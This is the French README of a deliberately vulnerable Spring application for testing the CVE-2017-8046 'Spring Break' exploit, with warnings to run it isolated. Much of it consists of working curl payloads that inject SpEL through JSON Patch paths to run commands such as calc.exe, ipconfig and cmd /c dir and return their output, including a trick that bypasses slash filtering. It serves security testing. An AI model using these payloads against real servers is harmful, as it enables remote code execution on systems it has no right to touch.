
AVERTISSEMENT : Ceci est une application vulnérable pour tester l'exploit de la vulnérabilité Spring Break (CVE-2017-8046). Exécutez-la à vos risques et périls !
Ceci est une application vulnérable pour tester l'exploit de la vulnérabilité Spring Break (CVE-2017-8046).
Cette application contient de sérieuses failles de sécurité. Utilisez-la à vos risques et périls ! Il est recommandé d'utiliser un environnement sauvegardé et isolé (comme une machine virtuelle avec un instantané récent et un réseau limité à l'hôte). Ne téléchargez pas cette application sur des serveurs accessibles depuis Internet, car ils seront compromis.
AVERTISSEMENT : Je décline toute responsabilité quant à l'utilisation qui est faite de cette application (SpringBreakVulnerableApp). Le seul but de cette application est de servir de scénario de test pour l'exploit Spring Break et elle ne doit pas être utilisée de manière malveillante. Si votre serveur est compromis via une installation de SpringBreakVulnerableApp, cela n'est pas de ma responsabilité mais de celle de la ou des personnes qui l'ont téléchargée et installée.
L'application peut être lancée avec la commande Maven suivante.
mvn spring-boot:run
Un fichier JAR complet peut être généré avec la commande Maven suivante.
mvn clean install spring-boot:repackage
Pour insérer des données, vous pouvez utiliser la commande curl suivante.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
L'exploit le plus simple est probablement la requête suivante.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
Sous Windows, le processus calc.exe peut être lancé avec la requête suivante. Des requêtes similaires peuvent être utilisées pour lancer des commandes arbitraires.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Pour obtenir la sortie des commandes lancées, certains « gadgets » offerts par le code du Framework Spring peuvent être utilisés. Heureusement, aucune dépendance externe n'est requise. Par exemple, le résultat de la commande ipconfig peut être récupéré avec la requête suivante.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Sous Windows, une commande cmd /c dir, et d'autres commandes similaires, peut être lancée avec la requête suivante. Veuillez noter l'astuce utilisée pour insérer le caractère slash en évitant la valeur explicite (c'est-à-dire que les slashes explicites sont remplacés par des points avant le véritable analyse syntaxique).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Un programme Java pour exploiter cette vulnérabilité est disponible ici.
Ce projet est sous licence MIT - voir le fichier LICENSE.txt pour plus de détails.